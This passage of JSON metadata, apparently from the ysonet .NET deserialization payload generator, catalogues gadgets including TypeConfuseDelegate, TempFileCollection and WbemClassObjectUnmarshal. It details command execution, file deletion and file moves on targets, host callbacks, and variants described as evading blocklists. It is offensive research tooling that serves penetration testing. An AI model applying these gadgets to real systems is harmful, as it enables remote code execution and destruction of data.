"formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "Json.NET", "declaration": "Json.NET"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter", "Json.NET", "DataContractSerializer"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.SessionViewStateHistoryItemGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TempFileCollection", "description": "Targets the [Serializable] TempFileCollection in the .NET Framework's in-box System.dll, not the NuGet copy. It deletes target paths on dispose/finalize; -t DELETES them HERE. Below 4.0 strict readers need --legacyfx.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "TargetPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}], "options": [{"prototype": "extrafile=", "aliases": ["extrafile"], "description": "An ADDITIONAL path to delete on the target. Repeat the option once per extra path (--extrafile \"C:\\a.txt\" --extrafile \"C:\\b.txt\"); -c supplies the first one. A repeatable option is used instead of a separator convention because a Windows path may legitimately contain almost any punctuation. Every path is a path on the TARGET: it is never opened, resolved, canonicalized or checked here, so a relative path resolves against the deserializing process's working directory. Paths that differ only by case are collapsed to one entry, and an empty or whitespace-only value is refused. UNC paths are accepted because File.Delete accepts them. The deletion happens when the target disposes or finalizes the object, which may be immediate, much later, or never if the process exits first, and the framework swallows every failure, so nothing reports back.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer", "DataContractSerializer"], "inputs": ["target-path", "unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-2.0", "net-fx-3.0", "net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TempFileCollectionGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TextFormattingRunProperties", "description": "This normally generates the shortest payload", "labels": [], "credit": "[Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo]", "finders": "Oleksandr Mirosh and Alvaro Munoz", "contributors": "Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "Json.NET", "declaration": "Json.NET"}], "options": [{"prototype": "xamlurl=", "aliases": ["xamlurl"], "description": "This is to create a very short payload when the affected box can read the target XAML URL e.g. \"http://example.local/x\" (can be a UNC path on a shared drive or a path on the local system). It carries the ResourceDictionary gadget instead of ObjectDataProvider, so the target FETCHES and loads that URL rather than running a command, and the command parameter is ignored. The shorter the better!", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}, {"prototype": "hasRootDCS", "aliases": ["hasRootDCS"], "description": "Include a root element with the DataContractSerializer payload. This option applies only to DataContractSerializer; other formatters are refused.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter", "DataContractSerializer", "Json.NET"], "inputs": ["command"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TextFormattingRunPropertiesGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ToolboxItemContainer", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: @frycos]", "finders": "@frycos", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "LosFormatter", "SoapFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ToolboxItemContainerGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegate", "description": "Combines a Comparison with itself, wraps it with Comparer.Create, then swaps invocation-list slot 1 for Process.Start(string, string). The sorted container calls the comparer while rebuilding on deserialize, and the confused return type runs the command. The var/variant option picks the serialized root container: 1 (default) SortedSet; 2 SortedDictionary, whose serialized TreeSet> backing set forwards key comparisons through SortedDictionary.KeyValuePairComparer; 3 the internal System.Collections.Generic.TreeSet, built by reflection. Variants 2 and 3 exist for one narrow case: a binder or blocklist that rejects the exact wire type name System.Collections.Generic.SortedSet but allows the other roots. They do not defeat an allowlist, a rule that also names TreeSet, or a policy that resolves types and rejects SortedSet subclasses (TreeSet derives from SortedSet). Variants 2 and 3 refuse an input whose executable and argument strings compare equal, because both roots reject a duplicate key; variant 1 accepts it but its SortedSet then holds one element and does not fire, so make the two strings differ. SoapFormatter is a direct CLR4 document for variants 1 and 3: the target sees the native SortedSet or TreeSet root and ComparisonComparer, with no Workflow surrogate, outer carrier, or nested BinaryFormatter stream. Variant 2 does not support SoapFormatter. All three variants target .NET Framework 4.5+; use TypeConfuseDelegateNetFx40 for exactly .NET Framework 4.0 or TypeConfuseDelegateNetFx35 for .NET Framework 3.5 / CLR2. --legacyfx is not supported because rewriting assembly versions cannot turn this Comparer.Create graph into a CLR2 graph.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Alvaro Munoz, Soroush Dalili]", "finders": "James Forshaw", "contributors": "Alvaro Munoz, Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": false, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (3)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (3)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (3)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Root container: 1 -> SortedSet [default], 2 -> SortedDictionary, 3 -> TreeSet (2 and 3 evade an exact SortedSet wire-name blocklist and need distinct command and argument strings)\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "SortedSet (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "SortedDictionary root (evasion)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["SoapFormatter"], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "TreeSet root (internal type evasion)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegateGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegateFileOperations", "description": "Performs a file operation on the target through the TypeConfuseDelegate delegate confusion, without starting a process: write text from a local file, copy, move, move a directory, or create/truncate an empty file. The var/variant option picks the operation and decides what -c means; the two strings only have to DIFFER, in either order. This CLR4.5+ graph does not support --legacyfx.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "TargetPathAndLocalFile", "supportsLegacyFx": false, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (5)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (5)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (5)"}, {"name": "LosFormatter", "declaration": "LosFormatter (5)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "File operation: 1 -> write text from a local file [default] (-c \"targetPath;localContentFile\"), 2 -> copy a file, 3 -> move a file, 4 -> move a directory (2-4 take -c \"sourcePath;destinationPath\"), 5 -> create or truncate an empty file (-c \"targetPath\"). Every path except the local content file is a path on the TARGET and is never touched here. Only the first ';' splits the value, so the second field may contain more of them. The two strings only have to DIFFER, in either order; an equal pair is refused because the sorted container would collapse it to one element and the payload would do nothing. Preconditions on the target: write and empty create or overwrite the file but do not create its parent directory; copy and both moves do not overwrite an existing destination; dirmove needs an existing source, a free destination and the same volume; all of them need the target process to have the file-system rights. --minify with NetDataContractSerializer or SoapFormatter is refused when it would rewrite either string (the XML minifier trims trailing whitespace, drops a carriage return, and collapses \"; \"); SOAP is also refused without --minify if its XML writer loses a value. BinaryFormatter and LosFormatter minify the same input safely. Minification may therefore be refused when content has characters that must survive exactly.\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4, 5.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4", "5"]}, {"prototype": "rootcontainer=", "aliases": ["rootcontainer"], "description": "Serialized root container, independent of the five file-operation variants: 1 -> SortedSet [default], 2 -> SortedDictionary, 3 -> TreeSet. BinaryFormatter, NetDataContractSerializer and LosFormatter support all three roots. SoapFormatter supports all five file operations with roots 1 and 3, but not root 2. The (5) formatter annotation counts file-operation variants, not root choices. Roots 2 and 3 evade a binder or blocklist that rejects the exact SortedSet wire type name. Changing this option does not change the selected file operation.\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": false, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "write text from a local file (default)", "isDefault": true, "commandInput": "TargetPathAndLocalFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "copy a file on the target", "isDefault": false, "commandInput": "TargetPathPair", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "move a file on the target", "isDefault": false, "commandInput": "TargetPathPair", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 4, "label": "move a directory on the target", "isDefault": false, "commandInput": "TargetPathPair", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 5, "label": "create or truncate an empty file", "isDefault": false, "commandInput": "TargetPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["target-path", "local-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 4, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 5, "kinds": ["file-system"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "SoapFormatter", "LosFormatter"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegateFileOperationsGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegateMono", "description": "Tweaked TypeConfuseDelegate gadget to work with Mono; --legacyfx is not supported because that option targets .NET Framework CLR2.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili]", "finders": "James Forshaw", "contributors": "Denis Andzakovic, Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": false, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["mono"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegateMonoGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegateNetFx35", "description": "CLR2-only: supports .NET Framework 3.5 and does not support CLR4 or later. Runs Process.Start(string, string) by rebuilding CLR 2's Array.FunctorComparer through Workflow ObjectSerializedRef and triggering it from TreeSet. The SOAP form is a direct List/TreeSet document: only the internal comparer reconstruction uses ObjectSerializedRef, with no outer surrogate carrier or nested BinaryFormatter stream. The payload names CLR-v2 framework identities automatically; an explicit --legacyfx is redundant. The target needs System.Core 3.5 and System.Workflow.ComponentModel. NetDataContractSerializer is not supported: its CLR-2 reader rejects the graph because ObjectSerializedRef's required memberDatas member is missing. On .NET Framework 4.8.1 the Workflow object reference rejects this CLR-2 reconstruction with ArgumentException before the sink. A local --test is therefore routed automatically to the separately shipped .NET Framework 3.5 / CLR2 process; --testclr2 selects it explicitly.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegateNetFx35Generator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegateNetFx40", "description": ".NET Framework 4.0-only: reconstructs that runtime's non-serializable Array.FunctorComparer through Workflow ObjectSerializedRef, preloads it before a SortedSet in List, and lets the set call the confused String.Compare/Process.Start delegate while rebuilding. The target needs System.Workflow.ComponentModel. BinaryFormatter, SoapFormatter and LosFormatter are supported; the SOAP form is a direct List/SortedSet document with no outer carrier or nested BinaryFormatter stream. NetDataContractSerializer cannot reproduce the required memberDatas contract. Later CLR 4 builds use an incompatible private comparer shape, so local -t is refused; --legacyfx is also invalid because this graph requires CLR4 identities. When to use it: only when the target's INSTALLED framework is genuinely 4.0 (4.5+ never installed). .NET 4.5+ replaces 4.0 in place, so on any 4.5 to 4.8 target use TypeConfuseDelegate instead. That includes a 'v4.0' IIS app pool, which selects CLR 4, not .NET 4.0, and a web.config targetFramework of 4.0, which only sets compatibility quirks. Decide by the installed framework, not the app pool label: if HKLM ...NDP\\v4\\Full has a 'Release' value it is 4.5+, and absent means genuine 4.0. How to test it: run ysonet.Net40TestHost.exe --probe on the target (shape=netfx40 confirms genuine 4.0), then its --deserialize fires the payload; a Windows image with 4.0 and no 4.5+ update, or an isolated 4.0 VM, is a suitable victim.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": false, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegateNetFx40Generator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "TypeConfuseDelegatePowerShell", "description": "Requires Microsoft.PowerShell.Commands.Utility, Version=3.0.0.0 on the target and the application setting microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck=true. That setting is mandatory on current serviced .NET Framework and cannot be armed by another object in the same graph before Workflow resolves the comparer. The measured target is .NET Framework 4.8.1; older Framework versions are not claimed. The graph needs two distinct command fields, so a one-part --rawcmd value is refused. Local --test runs only when Workflow's effective setting is already true in this process.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw, Soroush Dalili] [Contributors: Soroush Dalili]", "finders": "James Forshaw, Soroush Dalili", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": false, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["extra-assembly", "net-framework"], "runtimeVersions": ["net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.TypeConfuseDelegatePowerShellGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "WbemClassObjectUnmarshal", "description": "Feeds a serialized byte[] to native CoUnmarshalInterface. Variant 1 calls out to your host on RPC 135; variant 2 ships a blob you built.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw, SCRT] [Contributors: Soroush Dalili]", "finders": "James Forshaw, SCRT", "contributors": "Soroush Dalili", "commandInput": "HostName", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (2)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer (2)"}, {"name": "Json.NET", "declaration": "Json.NET (2)"}, {"name": "FsPickler", "declaration": "FsPickler (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which blob to put in the payload. BOTH variants do the same thing to the target - hand a byte[] to native CoUnmarshalInterface - and differ only in WHO writes those bytes: variant 1 writes them for you from a host name, variant 2 ships a file you wrote yourself. Neither one is a code-execution variant. Choices:\r\n1 (default) - build an OBJREF_STANDARD here from -c \"\". The target resolves that host and connects to it to resolve the OXID, which is the callback. Give a BARE host name or IP: the RPC endpoint inside a string binding is ignored and resolution always goes to port 135, so \"host[1234]\" or \"host:1234\" is refused rather than shipped as a payload that cannot fire. The call is not authenticated, so this proves a connection, not NTLM coercion. It always ends in a COM error on the target (OR_INVALID_OXID when the host answers, RPC_S_SERVER_UNAVAILABLE when it does not) - the callback has already happened by then. -t is accepted here and behaves as it does on the other network gadgets: it deserializes the payload on THIS machine, so YOUR machine makes the callback. Use it to check the payload and your listener, and add --debugmode to see the COM error it ends with.\r\n2 (research) - read a prepared OBJREF from the local file named by -c and ship it as is. The file must be readable, non-empty and at most 1048576 bytes. This is an escape hatch, not a stronger version of variant 1: ysonet does not parse, validate or understand your bytes, so the effect is entirely whatever they mean to CoUnmarshalInterface on the target - which may be nothing, a callout of your own design, or a crash. It does NOT by itself give code execution; it only gives you the delivery channel. Use it when you have built a blob variant 1 cannot express, such as an OBJREF_CUSTOM. -t is REFUSED for this variant, because self-testing would feed your unparsed bytes to native COM on this machine.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "rootcarrier=", "aliases": ["rootcarrier"], "description": "Which type sits at the SERIALIZED ROOT. Orthogonal to variant: it changes the type name on the wire and nothing else. Both carriers hand the same byte[] to the same native CoUnmarshalInterface call, so the effect, the input and the blob are identical. This is NOT a SerializationBinder bypass - a binder is consulted for every type in the stream, nested ones included, so a binder that blocks the inner type still blocks carrier 2. Choices:\r\n1 (default) - the bare System.Management.IWbemClassObjectFreeThreaded, which is internal to System.Management.\r\n2 - wrap it in the PUBLIC System.Management.ManagementBaseObject, which holds it in its \"wbemObject\" member and passes it to the same constructor. Use it when the target names its own root type (a plain DataContractSerializer consumer can only ever name a public one), or when a rule keys on the internal name. Not available with DataContractSerializer or FsPickler; those two keep working on carrier 1. The (2) formatter annotation counts blob variants, not root-carrier choices.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": false, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "Call out to a host: ysonet builds the OBJREF for you from -c (default)", "isDefault": true, "commandInput": "HostName", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "Bring your own blob: ship the file in -c byte for byte - NOT a code-execution variant", "isDefault": false, "commandInput": "FilePath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": true}], "targetCapabilities": [{"variant": 1, "kinds": ["network"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer", "DataContractSerializer", "Json.NET", "FsPickler"], "inputs": ["host"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["other"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer", "DataContractSerializer", "Json.NET", "FsPickler"], "inputs": ["local-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, 